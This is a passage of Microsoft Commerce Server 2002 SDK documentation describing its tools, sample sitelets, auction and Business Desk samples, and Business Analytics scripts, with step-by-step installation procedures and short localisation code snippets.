  4. Click New, and then type the path to the Commerce Server 2002 SDK Include directory. For example, C:\Program Files\Microsoft Commerce Server\SDK\Include.
  5. Click OK.

This section contains:

  • Include Files. Describes the files contained in the Include folder.
  • Tools Folder. Explains how to use the SDK tools.
  • Samples Folder. Explains how to use the SDK samples and sitelets.


Include Files

Location in SDK: SDK\Include

The Include folder contains numerous C++ header (.h extension) and Interface Definition Language (.idl extension) files that are of general use when using Commerce Server COM objects from C++, and examining the details of interface definitions, respectively.

Many of the header files are referenced in the C++ version of the reference topic for the corresponding object.


Tools Folder

The Tools folder contains a number of different tools, divided into the following subfolders:

  • Registration Tool Folder
  • Ad Server folder and the Membership folder
  • ATL Pipe Wizard Folder and the VB Pipe Wizard Folder


Registration Tool Folder

Location in SDK: SDK\Tools\Registration Tool

The files in this folder constitute the source files of a tool that helps you register pipeline components for stage affinity. It allows you to register the pipeline component on the computer on which the tool is being run, and it allows you to export the data to a registry script (.reg extension) for deployment to other servers.

For more information about the pipeline component registration tool, see Using the Pipeline Component Registration Tool.


Membership Folder

Location in SDK: SDK\Tools\SSCE Migration\Membership

The files in this folder constitute the source files of a tool that allows you to migrate user profiles from a Microsoft Site Server 3.0 Commerce Edition (SSCE) Membership Directory into a Microsoft Commerce Server 2002 user profile store.

For more information about migrating user profiles from Site Server 3.0 Web sites to Commerce Server 2002 Web sites, see Migrating the Membership Directory.


Ad Server Folder

Location in SDK: SDK\Tools\SSCE Migration\Ad Server

The file Adservermigration.exe in the Ad Server subfolder is a tool that allows you to migrate campaigns from Site Server 3.0 Ad Server to the Commerce Server 2002 Content Selection Framework.

Run the tool on the command line, passing the following parameters:

1: /cs30:"Connection string to the Site Server 3.0 Commerce Edition AdServer database"
2: /cs2000:"Connection string to the Commerce Server 2002 Campaign database"
3: /exprstore:"Connection string to the Commerce Server 2002 Expression store database"
4: [/silent]   (Note that this parameter is optional)

For example:

adservermigration.exe \
/cs30:"Provider=SQLOLEDB;Data Source=Commerce30servername;Initial Catalog=Commerce30DatabaseName;Integrated Security=’SSPI’" \
/cs2000:"Provider=SQLOLEDB;Data Source=Commerce2000servername;Initial Catalog=MarketingSystemDatabaseName;Integrated Security=’SSPI’" \
/exprstore:"Provider=SQLOLEDB;Data Source=Commerce2000servername;Initial Catalog=ExpressionStoreDatabaseName;Integrated Security=’SSPI’"


ATL Pipe Wizard Folder

Location in SDK: SDK\Tools\Visual Studio 6\ATL Pipe Wizard

The files in this folder constitute the source files of a tool that allows you to install a new wizard in your Microsoft Visual C++ 6.0 installation. This wizard automates the creation of Commerce Server pipeline components by creating the object definition and implementation files containing function prototypes for the interfaces required to implement a fully functional pipeline component.

In addition, this wizard creates a property page for your pipeline component. You can add controls to this property page through which users can set component properties.

You must build the ATL Pipeline Component Wizard before installing it.

For more information about using the ATL Pipeline Component Wizard, see Creating Pipeline Components Using the Active Template Library (ATL).


VB Pipe Wizard Folder

Location in SDK: SDK\Tools\Visual Studio 6\VB Pipe Wizard

The files in this folder constitute the source files of a tool that allows you to install a new wizard in your Microsoft Visual Basic 6.0 installation. This wizard automates the creation of Commerce Server pipeline components by creating the object definition and implementation files containing function prototypes for the interfaces required to implement a fully functional pipeline component.

In addition, this wizard creates a property page for your pipeline component. You can add controls to this property page through which users can set component properties.

You must build the Visual Basic Pipeline Component Wizard before installing it.

Once built, register the file PipelineCompWizard.dll. Registering this DLL will cause a new project item to be installed into your Visual Basic installation. After you register the DLL, open Visual Basic, and, on the menu, click New and then click Project. The VB Pipeline Component Wizard is available in the list of available projects.

For more information about the Visual Basic Pipeline Component Wizard, see Creating Pipeline Components Using Visual Basic.


Samples Folder

The Samples folder contains a number of different samples, divided into categories.

This section contains:

  • ASP.NET Samples
  • Auction Samples
  • Business Desk Samples
  • Business Analytics Samples
  • Classic ASP Samples
  • Order Processing Samples
  • Privacy Samples
  • Site Management Samples
  • Site Creation Samples
  • Targeting Samples


ASP.NET Samples

The Microsoft Commerce Server 2002 Software Development Kit (SDK) contains six sample sites to demonstrate the functionality of the Commerce Server .NET Application Framework.

This section contains:

  • ASP.NET-Based Advertising Sitelet
  • ASP.NET-Based Catalog Sitelet
  • ASP.NET-Based Order Sitelet
  • ASP.NET-Based Profile Sitelet
  • Catalog Web Service
  • Retail2002: International Retail Site

See Also

Debugging Pipeline Components

MinMaxShip Sample Pipeline Component


ASP.NET-Based Advertising Sitelet

Location in SDK: SDK\Samples\ASPNET\Ad Sitelet

The primary goal of the Advertising Sitelet is to demonstrate the use and behavior of the components that work together to display advertisements in a Commerce Server site. In this sitelet, you will view a demonstration of targeted advertisements for hard-coded profile data to learn and understand how the ContentSelector object works. The profile data for this sitelet is stored in the site SQL Server database; this database is populated by Commerce Server Site Packager during the sitelet installation process.

The Advertising Sitelet consists of a package file, which you unpack using Commerce Server Site Packager. The source code for the sitelet is included in this package. Using the sitelet, you can create and display ads using the Campaign Manager module, and you can manage ad targeting based on profiles in your Profiles database. No modification to the source code is required to deploy the Advertising Sitelet to a server running Commerce Server 2002.

Similar functionality to that found in the ASP.NET-Based Advertising Sitelet can be found in the ASP-Based Advertising Sitelet. For more information, see ASP-Based Advertising Sitelet.

Best coding practices are maintained in this sample, and the code represents the prescribed method of using the object model.

ASP.NET-Based Advertising Sitelet Code Notes

Installing the ASP.NET-Based Advertising Sitelet

ASP.NET-Based Advertising Sitelet Code Notes

This sitelet demonstrates multilingual functionality. The following languages are supported: English, French, German, and Japanese. The ASP.NET sitelets set the language character sets in the Page_Init functions of several ASPX pages using code such as the following:

strLanguage = coll[Utility.languageLabel];
try {SelectedCulture = CultureInfo.CreateSpecificCulture(strLanguage);}
catch(Exception e) {
SelectedCulture = CultureInfo.CreateSpecificCulture(Utility.englishLanguage);
strLanguage = Utility.englishLanguage;
}

Installing the ASP.NET-Based Advertising Sitelet

You unpack the Advertising Sitelet using Commerce Server Site Packager. The package file for the ASP version of the Advertising Sitelet is located in the following directory:

<drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Ad Sitelet\SDK-ADSITELET-ASPNET.PUP

Use the following procedure to install the Advertising Sitelet on one computer using the Quick mode in Site Packager.

Unpacking the ASP.NET-based Advertising Sitelet using the Custom unpack option and creating independent databases for each of the site resources is not recommended.

To unpack the ASP.NET-Based Advertising Sitelet

  1. In Windows Explorer, navigate to the <drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Ad Sitelet directory.
  2. Click the SDK-ADSITELET-ASPNET.PUP icon.
  3. In the Unpack screen, select Quick Unpack, and then click Next.
  4. In the Quick Unpack screen, ensure that the SQL Server computer name is correct, type the SQL Server login name and password, and then click Next.
  5. In the Commerce Server Site Packager window recommending Windows Authentication, click OK.

    By default, the sitelets do not work with Windows Authentication. For more information about configuring the sitelets to work with Windows Authentication, see step 6 in Deploying Commerce Server Using Windows Authentication.

  6. In the Profiling System screen, accept the defaults, and then click Next.
  7. In the second Profiling System screen, accept the defaults, and then click OK.
  8. After the unpacking is complete, a dialog box appears with the message "Unpacking is complete!". Click Finish.
  9. In Internet Explorer, in the Address box, type HTTP: //<computer name>/netAdSitelet to open the sitelet.

See Also

ASP.NET-Based Catalog Sitelet

ASP.NET-Based Order Sitelet

ASP.NET-Based Profile Sitelet

Catalog Web Service

Retail2002: International Retail Site

Example code for the Microsoft.CommerceServer.Runtime.Targeting Namespace


ASP.NET-Based Catalog Sitelet

Location in SDK: SDK\Samples\ASPNET\Catalog Sitelet

The primary goal of the Catalog Sitelet is to demonstrate how to use the Catalog object model to browse and search a product catalog, providing you with a functional example of the catalog API in action.

The Catalog Sitelet consists of a package file, which you unpack using Commerce Server Site Packager. The source code for the sitelet is included in this package. You can deploy the sitelet to a server running Commerce Server 2002 without the need for code modifications. After the Catalog Sitelet has been deployed, you can use it to browse and search a sample catalog.

The Catalog Sitelet demonstrates the two query mechanisms supported by the Catalog object model, and also demonstrates using the Catalog object model to provide catalog browsing functionality.

Similar functionality to that found in the ASP.NET-Based Catalog Sitelet can be found in the ASP-Based Catalog Sitelet. For more information, see ASP-Based Catalog Sitelet.

Best coding practices are maintained in this sample, and the code represents the prescribed method of using the object model.

ASP.NET-Based Catalog Sitelet Code Notes

Installing the ASP.NET-Based Catalog Sitelet

ASP.NET-Based Catalog Sitelet Code Notes

This sitelet demonstrates multilingual functionality. The following languages are supported: English, French, German, and Japanese. The sitelets set the language character sets in the Page_Init functions of several ASPX pages using code such as the following:

strLanguage = coll[Utility.languageLabel];
try {SelectedCulture = CultureInfo.CreateSpecificCulture(strLanguage);}
catch(Exception e) {
SelectedCulture = CultureInfo.CreateSpecificCulture(Utility.englishLanguage);
strLanguage = Utility.englishLanguage;
}

Installing the ASP.NET-Based Catalog Sitelet

You unpack the Catalog Sitelet using Commerce Server Site Packager. The package file for the ASP version of the Catalog Sitelet is located in the following directory:

<drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Catalog Sitelet\SDK-CATALOGSITELET-ASPNET.PUP

Use the following procedure to install the Catalog Sitelet on one computer using the Quick mode in Site Packager.

Unpacking the ASP.NET-based Catalog Sitelet using the Custom unpack option and creating independent databases for each of the site resources is not recommended.

To unpack the ASP.NET-Based Catalog Sitelet

  1. In Windows Explorer, navigate to the <drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Catalog Sitelet directory.
  2. Click the SDK-CATALOGSITELET-ASPNET.PUP icon.
  3. In the Unpack screen, select Quick Unpack, and then click Next.
  4. In the Quick Unpack screen, ensure that the SQL Server computer name is correct, enter the SQL Server login name and password, and then click Next.
  5. In the Commerce Server Site Packager window recommending Windows Authentication, click OK.

    By default, the sitelets do not work with Windows Authentication. For more information about configuring the sitelets to work with Windows Authentication, see step 6 in Deploying Commerce Server Using Windows Authentication.

  6. In the Profiling System screen, accept the defaults, and then click Next.
  7. In the second Profiling System screen, accept the defaults, and then click OK.
  8. After the unpacking is complete, a dialog box appears with the message "Unpacking is complete!". Click Finish.
  9. In Internet Explorer, in the Address box, type HTTP: //<computer name>/netCatalogSitelet to open the sitelet.

See Also

ASP.NET-Based Advertising Sitelet

ASP.NET-Based Order Sitelet

ASP.NET-Based Profile Sitelet

Catalog Web Service

Retail2002: International Retail Site

Example code for the Microsoft.CommerceServer.Runtime.Catalog Namespace


ASP.NET-Based Order Sitelet

Location in SDK: SDK\Samples\ASPNET\Order Sitelet

The primary goal of the Order Sitelet is to demonstrate how to allow users to create an order, and then confirm and view the status of that order. For more information on order queuing, see Order Queuing Sample or search the Commerce Server 2002 Help files for "order queuing.”

The Order Sitelet consists of a package file, which you unpack using Commerce Server Site Packager. The source code for the sitelet is included in this package. No modification of the source code is required to deploy the Order Sitelet to a server running Commerce Server 2002.

Similar functionality to that found in the ASP.NET-Based Order Sitelet can be found in the ASP-Based Order Sitelet. For more information, see ASP-Based Order Sitelet.

Best coding practices are maintained in this sample, and the code represents the prescribed method of using the object model.

ASP.NET-Based Order Sitelet Code Notes

Installing the ASP.NET-Based Order Sitelet

ASP.NET-Based Order Sitelet Code Notes

This sitelet demonstrates multilingual functionality. The following languages are supported: English, French, German, and Japanese. The sitelet sets the language character set in the Page_Init function in several ASPX pages using code such as the following:

_language = Request.QueryString["language"];
try {
     Thread.CurrentThread.CurrentCulture =
            CultureInfo.CreateSpecificCulture(_language);
     Thread.CurrentThread.CurrentUICulture =
            Thread.CurrentThread.CurrentCulture;
     }
catch (ArgumentException e)
     {
     _language = "en-US";
     Thread.CurrentThread.CurrentCulture =
            CultureInfo.CreateSpecificCulture(_language);
     Thread.CurrentThread.CurrentUICulture =
            Thread.CurrentThread.CurrentCulture;
     }

Installing the ASP.NET-Based Order Sitelet

You unpack the Order Sitelet using Commerce Server Site Packager. The package file for the ASP version of the Order Sitelet is located in the following directory:

<drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Order Sitelet\SDK-ORDERSITELET-ASPNET.PUP

Use the following procedure to install the Order Sitelet on one computer using the Quick mode in Site Packager.

Unpacking the ASP.NET-based Order Sitelet using the Custom unpack option and creating independent databases for each of the site resources is not recommended.

To unpack the Order Sitelet

  1. In Windows Explorer, navigate to the <drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Order Sitelet directory.
  2. Double-click the SDK-ORDERSITELET-ASPNET.PUP icon.
  3. In the Unpack screen, select Quick Unpack, and then click Next.
  4. In the Quick Unpack screen, ensure that the SQL Server computer name is correct, enter the SQL Server login name and password, and then click Next.
  5. In the Commerce Server Site Packager window recommending Windows Authentication, click OK.

    By default, the sitelets do not work with Windows Authentication. For more information about configuring the sitelets to work with Windows Authentication, see step 6 in Deploying Commerce Server Using Windows Authentication.

  6. In the Profiling System screen, accept the defaults, and then click Next.
  7. In the second Profiling System screen, accept the defaults, and then click OK.
  8. After the unpacking is complete, a dialog box appears with the message "Unpacking is complete!". Click Finish.
  9. In Internet Explorer, in the Address box, type HTTP: //<computer name>/netOrderSitelet to run the sitelet.

See Also

ASP.NET-Based Advertising Sitelet

ASP.NET-Based Catalog Sitelet

ASP.NET-Based Profile Sitelet

Catalog Web Service

Retail2002: International Retail Site

Example code for the Microsoft.CommerceServer.Runtime.Orders Namespace


ASP.NET-Based Profile Sitelet

Location in SDK: SDK\Samples\ASPNET\Profile Sitelet

The primary goal of the Profile Sitelet is to demonstrate through code how to use the Profiling System in Commerce Server 2002 to create user profiles, set user profile attributes, and to read user profile data using the Profiling System objects.

The Profile Sitelet consists of a package file, which you unpack using Commerce Server Site Packager. The source code for the sitelet is included in this package. Using the sitelet, you can create and modify user profiles, using the AuthManager, Profile, and ProfileService objects. No modification to the code is required to deploy the Profile Sitelet to a server running Commerce Server 2002.

This sitelet demonstrates multilingual functionality. The following languages are supported: English, French, German, and Japanese.

Similar functionality to that found in the ASP.NET-Based Profile Sitelet can be found in the ASP-Based Profile Sitelet. For more information, see ASP-Based Profile Sitelet.

Best coding practices are maintained in this sample, and the code represents the prescribed method of using the object model.

Installing the ASP.NET-Based Profile Sitelet

Installing the ASP.NET-Based Profile Sitelet

You unpack the Profile Sitelet using Commerce Server Site Packager. The package file for the ASP version of the Profile Sitelet is located in the following directory:

<drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Profile Sitelet\SDK-PROFILESITELET-ASPNET.PUP

Use the following procedure to install the Profile Sitelet on one computer using the Quick mode in Site Packager.

Unpacking the ASP.NET-based Profile Sitelet using the Custom unpack option and creating independent databases for each of the site resources is not recommended.

To unpack the ASP.NET-Based Profile Sitelet

  1. In Windows Explorer, navigate to the <drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Profile Sitelet directory.
  2. Click the SDK-PROFILESITELET-ASPNET.PUP icon.
  3. In the Unpack screen, select Quick Unpack, and then click Next.
  4. In the Quick Unpack screen, ensure that the SQL Server computer name is correct, enter the SQL Server login name and password, and then click Next.
  5. In the Commerce Server Site Packager window recommending Windows Authentication, click OK.

    By default, the sitelets do not work with Windows Authentication. For more information about configuring the sitelets to work with Windows Authentication, see step 6 in Deploying Commerce Server Using Windows Authentication.

  6. In the Profiling System screen, accept the defaults, and then click Next.
  7. In the second Profiling System screen, accept the defaults, and then click OK.
  8. After the unpacking is complete, a dialog box appears with the message "Unpacking is complete!". Click Finish.
  9. In Internet Explorer, in the Address box, type HTTP: //<computer name>/netProfileSitelet to run the sitelet.

See Also

ASP.NET-Based Advertising Sitelet

ASP.NET-Based Catalog Sitelet

ASP.NET-Based Order Sitelet

Catalog Web Service

Retail2002: International Retail Site

Example code for the Microsoft.CommerceServer.Runtime.Profiles Namespace


Catalog Web Service

Location in SDK: SDK\Samples\ASPNET\Catalog Web Service

The code in this sample shows how to use a Web service to navigate a catalog hierarchy.

See Also

Example code for the Microsoft.CommerceServer.Runtime Namespace

Example code for the Microsoft.CommerceServer.Runtime.Catalog Namespace

Example code for the Microsoft.CommerceServer.Runtime.Configuration Namespace

Example code for the Microsoft.CommerceServer.Runtime.Orders Namespace

Example code for the Microsoft.CommerceServer.Runtime.Pipelines Namespace

Example code for the Microsoft.CommerceServer.Runtime.Profiles Namespace

Example code for the Microsoft.CommerceServer.Runtime.Targeting Namespace


Auction Samples

The Microsoft Commerce Server 2002 Software Development Kit (SDK) contains two samples to demonstrate how auctions can be used with Commerce Server 2002. The following is a list of auction samples provided in the SDK:

  • Auction Component
  • Auction Sitelet


Auction Component

Location in SDK: SDK\Samples\Auction\Component

This directory contains the source code for the sample Auction component.

To build the Auction component

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Software Development Kit.
  2. In Windows Explorer, navigate to <drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Auction\Component, and double-click the auction.vbp icon.

    The Commerce – Microsoft Visual Basic [design] Visual Basic 6.0 window opens.

  3. On the File menu, click Make auction.dll.
  4. In the Make Project dialog box, click OK.
  5. On the File menu, click Save Project.
  6. On the File menu, click Exit.

To register the Auction pipeline component

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Software Development Kit.
  2. In Windows Explorer, navigate to <drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Tools\Registration Tool, and double-click the PipeReg.exe icon.

    The Pipeline Component Registration Wizard opens.

  3. On the Pipeline Component Registration Wizard [Step 1 of 3] page, do the following:
    Use this | To do this
    Select component by ProgID | Select this option to register the pipeline component using the auction.dll file.
    Path | Click the Browse button and select the auction.dll file. The auction.dll file is located in <drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Auction\Component.
  4. Click Next.
  5. On the Pipeline Component Registration Wizard [Step 2 of 3] page, do the following:
    Use this | To do this
    Available Categories | Select the stages in which the Auction component will be used.
    Right Arrow | Click the right arrow to move stages from Available Categories to Selected Categories.
    Selected Categories | Lists the stages in which the pipeline component will appear.
  6. On the Pipeline Component Wizard [Registration] page, do one of the following:
    Use this | To do this
    Register components only | Click to update the Implemented Categories of the component for the corresponding registry hive. This option is best for the workstation of a site developer, where components and stages may change on a regular basis.
    Export registration data | Click to export the registry information to a registry script. In the Export path box, select the path to which you want the registry script exported.
    Register and export data | Click to register and export the registration data to a registry script. In the Export path box, select the path to which you want the registry script exported.
  7. Click Next.
  8. On the Pipeline Component Registration Wizard [Finished] page, review the information to make sure the correct components were loaded and exported to the correct path.
  9. To close the Pipeline Component Registration Wizard, click Close.

For more information about the Auction object, see Auction Object.


Auction Sitelet

Location in SDK: SDK\Samples\Auction

The primary goal of the Auction Sitelet is to demonstrate through code how to use the Auction component to implement Winning Bid auctions. It includes a custom Commerce Server Business Desk module, Auction, designed for managing auctions.

The Auction Sitelet consists of a package file, which you unpack using Commerce Server Site Packager. The source code for the sitelet is included in this package. No modification to the code is required to deploy the Auction Sitelet to a server running Commerce Server 2002.

Best coding practices are maintained in this sample, and the code represents the prescribed method of using the object model.

Installing the Auction Sitelet

You unpack the Auction Sitelet using Commerce Server Site Packager. The package file is located in the following directory:

<drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Auction\SDK-AUCTION-SITELET.PUP

Unpacking the Auction Sitelet using the Custom unpack option and creating independent databases for each of the site resources is not recommended.

Use the following procedures to install the Auction Sitelet on one computer using the Quick mode in Site Packager.

Before installing the Auction Sitelet, the Auction pipeline component must be built and registered. For instructions about building and registering the Auction pipeline component, see Auction Component.

To unpack the Auction Sitelet

To add a blank Business Desk to the Auction Sitelet

To add the Auction Module to Business Desk

To create an auction

To bid on an auction item

To view bid history in Business Desk

To unpack the Auction Sitelet

  1. In Windows Explorer, navigate to the <drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Auction directory.
  2. Double-click the SDK-AUCTION-SITELET.PUP icon.
  3. In the Unpack screen, select Quick Unpack, and then click Next.
  4. In the Quick Unpack screen, ensure that the SQL Server computer name is correct, enter the SQL Server login name and password, and then click Next.
  5. In the Commerce Server Site Packager window recommending Windows Authentication, click OK.

    By default, the sitelets do not work with Windows Authentication. For more information about configuring the sitelets to work with Windows Authentication, see step 6 in Deploying Commerce Server Using Windows Authentication.

  6. In the Profiling System screen, accept the defaults, and then click Next.
  7. In the second Profiling System screen, accept the defaults, and then click OK.
  8. In the Unpacking is complete screen, review the list of SQL databases and Internet Information Services (IIS) applications that were created. To review the list of events that occurred while Site Packager was running, click View Log File.
  9. To close Site Packager, click Finish.

To add a blank Business Desk to the Auction Sitelet

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Commerce Server Manager.
  2. In Commerce Server Manager, on the Tree tab, expand Commerce Server Manager, expand Commerce Sites, and then expand Auction Sitelet.
  3. Right-click Applications, point to New, and then click Add Application.
  4. In the Add Application From dialog box, select Blank.pup, and then click Open.
  5. In the Select Applications dialog box, in the Applications in the package box, clear the BlankSite option. Only the BlankBizDesk site option should be selected.
  6. Click Next.
  7. In the Select IIS Web Sites and Virtual Directories dialog box, do the following:
    Use this | To do this
    Machine Name of IIS Server | Type the computer name for the IIS server.
    IIS Web site | Select the Default Web Site from the drop-down list.
    IIS Virtual Directory | Type auctionsiteletbizdesk where blankbizdesk currently appears.
  8. Click Next.
  9. In the Unpacking is complete dialog box, review the list of SQL databases and IIS applications that were created. To review the list of events that occurred while Site Packager was running, click View Log File.
  10. To close Site Packager, click Finish.
  11. To close Commerce Server Manager, in the Commerce Server Manager screen, on the Console menu, click Exit.
  12. In the Microsoft Management Console dialog box, click No.

To add the Auction module to Business Desk

  1. Click Start, point to Microsoft Commerce Server 2002, and then click Software Development Kit.
  2. Navigate to <drive>:\Samples\Auction\bBizdesk\Config, and copy the Auction.xml and Bizdesk.xml files.
  3. Navigate to <drive>:\Inetpub\wwwroot\Auctionsiteletbizdesk\Config, and paste the Auction.xml and Bizdesk.xml files into this directory.
  4. Navigate to <drive>:\Program Files\Microsoft Commerce Server\SDK\Samples\Auction\Bizdesk, and copy the Include directory, Auction_edit.asp, Auction_event.asp, Auction_list.asp, Bids_event.asp, and Bids_list.asp. The only item that should not be copied is the Config folder.
  5. Navigate to <drive>:\Inetpub\wwwroot\auctionsiteletbizdesk, and on the File menu, point to New, and then click Folder.
  6. In the right pane, name the new folder auction.
  7. Double-click the auction folder, and paste the copied files into the auction folder. The auction folder should now contain the files auction_edit.asp, auction_event.asp, auction_list.asp, bids_event.asp, bids_list.asp, and an Include directory.
  8. Click Start, and then click Run.
  9. In the Run dialog box, in the Open box, type iisreset, and then click OK.

A command box appears while IIS is being reset. IIS is reset when the command box closes.

To create an auction

  1. Click Start, point to Programs, and then click Internet Explorer.
  2. In Internet Explorer, in the Address box, type //<computer name>/auctionsiteletbizdesk, and then press ENTER.
  3. In the Browse for Folder dialog box, accept the default settings, and then click OK.
  4. In Internet Explorer, click Start Business Desk.

    The Auction sitelet Business Desk opens.

  5. Click the Auction module, and then click Auction Manager.
  6. In the Auction Events screen, click [image] on the toolbar.
  7. In the New Auction Item screen, enter the product information for the item up for bid. For exemplary purposes, the Auction Sitelet sets the Auction Type to winning bid. For more information about the product properties, see the UpdateItem method for the Auction object in Commerce Server Help.
  8. In the New Auction Item screen, click The Save Auction icon. on the toolbar to save the auction item, and then click The Back icon. on the toolbar to return to the Auction Events screen.

    The auction item now appears in the Filtered View list.

To bid on an auction item

  1. Click Start, point to Programs, and then click Internet Explorer.
  2. In Internet Explorer, in the Address box, type //<computer name>/auctionsitelet, and then press ENTER.

    The Auction sitelet appears.

  3. Follow the onscreen directions to place a bid.

To view bid history in Business Desk

  1. Open the Auction sitelet in Business Desk from either the Start menu or the Desktop.
  2. In the Auction module, click Bids Manager.

All bids for all items appear in the Filtered View list.


Business Desk Samples

The Microsoft Commerce Server 2002 Software Development Kit (SDK) includes several samples that demonstrate how to customize and extend Commerce Server Business Desk.

This section contains:

  • Business Desk Themes Sample
  • Custom Business Desk Module Sample
  • Business Desk Installer Sample
  • Widget Samples


Business Desk Themes Sample

Location in SDK: SDK\Samples\BizDesk\Themes

The Microsoft Commerce Server 2002 Software Development Kit (SDK) includes a Business Desk Themes sample that allows users to change the Business Desk theme or color scheme. After making minor code changes to two of the ASP pages for the site, the themes are available for selection on the home page of Business Desk, in the Themes drop-down list.

Each Business Desk theme is based on two cascading style sheet (CSS) files, theme_bizdesk.css and theme_navtree.css, such as earth_bizdesk.css and earth_navtree.css for the theme with the Earth color scheme.

There are five themes included in the SDK. The following lists the name of the theme, a description of the color scheme, and a graphic of the theme used in Business Desk.

  • Earth, mixture of greens and browns

    The Business Desk Earth theme.

  • Grape, shades of purple

    The Business Desk Grape theme.

  • Ocean, shades of blues and greens

    The Business Desk Ocean theme.

  • Raspberry, shades of red

    The Business Desk Raspberry theme.

  • Steel, shades of grays and blues

    The Business Desk Steel theme.

Installing the Business Desk Theme Sample

Use the following procedure to install the Business Desk Themes sample.

Notes

  • Before you can install the Business Desk Themes sample, Commerce Server Business Desk must be installed. Business Desk is installed automatically when a Solution Site is unpacked. Business Desk is not installed automatically when an SDK sitelet is unpacked.
  • Commerce Server Solution Sites are available at http://go.microsoft.com/fwlink/?linkid=6491.

To install the Business Desk Themes sample

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Software Development Kit.
  2. Navigate to the Themes folder, for example <drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\BizDesk\Themes.
  3. Copy the two files associated with each theme you want to have available in Business Desk, for example, ocean_navtree.css and ocean_bizdesk.css.
  4. Navigate to the Bizdesk folder for the site, for example <drive>:\Inetpub\wwwroot\<Sitename>Bizdesk\Include\Styles, and then paste the files in the folder.
  5. Navigate to the welcome.asp file, located at <drive>:\Inetpub\wwwroot\<SiteName>bizdesk\welcome.asp. Open the file in a text editor such as Notepad or Microsoft Visual Studio.
  6. Add the new theme options to the drop-down list. After the following line of code on line 120, <option value='hicont_'><%= L_CSSHiContrast_MenuItem%></option>, add a new line of code for each new theme.

    For example:

    'Existing Code
<option value='default_'><%= L_CSSDefault_MenuItem    %></option>
<option value='hicont_'><%= L_CSSHiContrast_MenuItem  %></option>
'New Code
<option value='ocean_'>Ocean</option>

    Note that to preserve the ability to easily localize the Business Desk code, you should add a new variable for the word "Ocean" to the file BizDeskStrings.asp in the Include folder below the existing definitions of the L_CSSDefault_MenuItem and L_CSSHiContrast_MenuItem variables, and reference the new variable in the file welcome.asp.

  7. On the File menu, click Save. (You can optionally close the file welcome.asp and the text editor at this point.)
  8. Open Business Desk for the site. Click Start, and then click Business Desk - <Sitename>.
  9. On the Business Desk home page, select the theme you want to use from the Theme drop-down list, and then click Apply.

Business Desk is displayed in the color scheme for the theme you selected.


Custom Business Desk Module Sample

Location in SDK: SDK\Samples\BizDesk\Module

The files in this sample provide a working code base from which to develop new Commerce Server Business Desk modules. This code base demonstrates how to use XML data-islands, and includes the use of the Business Desk HTML Components (HTCs) for creating a rich, Web-based user interface to allow for nontechnical administration of your Commerce Server Web site. This sample provides you with an edit page that demonstrates the use of edit page HTCs, a list page that demonstrates the use of the list page HTC, and a response page for handling requests from the Business Desk user interface.

For more information about building Business Desk modules, see Building Business Desk Modules.


Business Desk Installer Sample

Location in SDK: SDK\Samples\BizDesk\Installer

The files in this sample constitute the C++ source code for a Component Object Model (COM) object that provides a mechanism for automating the process of adding the configuration information for a new Business Desk module to an existing Business Desk installation. For more information about the interface that this object implements, see Automating Module Installation.


Widget Samples

Location in SDK: SDK\Samples\BizDesk\Widgets

The files in this sample constitute demonstration pages for the various HTML Components (HTCs) provided with the Business Desk Framework.

You can set a Microsoft Internet Information Services (IIS) virtual directory to the Widgets folder to see sample pages for all of the HTML Components (HTCs) used in Business Desk.


Business Analytics Samples

The Microsoft Commerce Server 2002 Software Development Kit (SDK) includes a tool and several scripts that demonstrate how to extend the Data Warehouse and the Business Analytics System.

This section contains:

  • Schema Tool
  • Create Schema Object Script
  • New Report Scripts


Schema Tool

Location in SDK: SDK\Samples\Business Analytics\Schema Tool

The Schema Tool sample is a Microsoft Visual Basic project that provides a schema browser that can be used to explore the Commerce Server Data Warehouse logical schema. You can use the Schema Tool to view the Data Warehouse classes, class properties, data members, and class relationships as they are defined in the logical schema. The following figure shows the Commerce Server Data Warehouse Schema Tool window.

Figure showing the Schema Tool window.

Notes

  • Before you install the Schema Tool, Microsoft Visual Basic 6.0 or higher must be installed.
  • Before you install the Schema Tool, a Data Warehouse must exist on the computer.

To run the Schema Tool

To use the Schema Tool

To run the Schema Tool

  1. Click Start, point to Programs, point to Microsoft Visual Studio 6.0, and then click Microsoft Visual Basic 6.0.
  2. In Microsoft Visual Basic, on the File menu, click Open Project.
  3. In the Open Project dialog box, navigate to the DWSchema.vbp file located at <drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Business Analytics\Schema Tool.
  4. Select DWSchema.vbp, and then click Open.
  5. On the Run menu, click Start.
  6. In the Data Warehouse Connection dialog box, do the following:
    Use this | To do this
    Server | Type the name of the server where the Data Warehouse is located.
    Database | Type the name of the database, for example, Retail_dw.
    User | Type the user name for SQL Server.
    Password | Type the password for SQL Server.
  7. Click OK.

The Commerce Server Data Warehouse Schema is displayed.

To use the Schema Tool

  • The Commerce Server Data Warehouse Schema window contains two panes, the left pane contains the tree view, and the right pane contains the class detail. When a class is selected in the left pane, the child classes are displayed in the right pane. Child classes can also be viewed by double-clicking an expandable class name node. To view class properties, Right-click the class name, and then click Properties.

See Also

Schema Reference

Extending the Data Warehouse


Create Schema Object Script

Location in SDK: SDK\Samples\Business Analytics\Scripts\CreateSchemaObject.vbs

This sample demonstrates how to use the OLE DB Provider for Commerce Server to modify the Business Analytics System logical schema by adding new classes and class members, and associating them with existing classes. When run, the sample script creates five new sample classes in the Data Warehouse.

For more information about extending the logical schema of the Data Warehouse, see Extending the Logical Schema of the Data Warehouse.

To run the Create Schema Object script

To view the classes created by CreateSchemaObject.vbs

